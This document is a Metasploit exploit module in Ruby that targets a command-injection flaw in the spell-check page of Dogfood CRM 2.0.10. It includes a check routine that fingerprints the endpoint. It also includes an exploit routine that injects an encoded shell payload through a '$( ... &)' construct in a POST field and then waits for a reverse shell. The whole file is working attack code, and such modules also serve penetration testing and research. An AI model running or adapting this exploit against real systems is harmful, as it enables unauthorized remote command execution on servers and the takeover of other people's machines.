dogfood_spell_exec.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Dogfood CRM spell.php Remote Command Execution',
        'Description' => %q{
          This module exploits a previously unpublished vulnerability in the
          Dogfood CRM mail function which is vulnerable to command injection
          in the spell check feature.  Because of character restrictions, this
          exploit works best with the double-reverse telnet payload. This
          vulnerability was discovered by LSO and affects v2.0.10.
        },
        'Author' => [
          'LSO <lso[at]hushmail.com>', # Exploit module
          'aushack', # Added check code, QA tested ok 20090303, there are no references (yet).
        ],
        'License' => BSD_LICENSE,
        'References' => [
          [ 'CVE', '2009-20010' ],
          [ 'OSVDB', '54707' ],
          [ 'URL', 'http://downloads.sourceforge.net/dogfood/' ],
        ],
        'Privileged' => false,
        'Platform' => ['unix'], # aushack - removed win, linux -> untested
        'Arch' => ARCH_CMD,
        'Payload' => {
          'Space' => 1024,
          'DisableNops' => true,
          'BadChars' => %q|'"`|, # quotes are escaped by PHP's magic_quotes_gpc in a default install
          'Compat' =>
                        {
                          'PayloadType' => 'cmd cmd_bash',
                          'RequiredCmd' => 'generic perl ruby python bash-tcp telnet',
                        }
        },
        'Targets' => [ ['Automatic', {}], ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2009-03-03',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('URIPATH', [ true, "The URI of the spell checker", '/dogfood/mail/spell.php']),
      ]
    )
  end

  def check
    res = send_request_raw(
      {
        'uri' => normalize_uri(datastore['URIPATH']),
      }, 1
    )

    if (res and res.body =~ /Spell Check complete/)
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    timeout = 1

    cmd = payload.encoded
    data = "data=#{Rex::Text.uri_encode('$( ' + cmd + ' &)x')}"
    uri = normalize_uri(datastore['URIPATH'])

    response = send_request_cgi(
      {
        'uri' => uri,
        'method' => "POST",
        'data' => data
      },
      timeout
    )

    handler
  end
end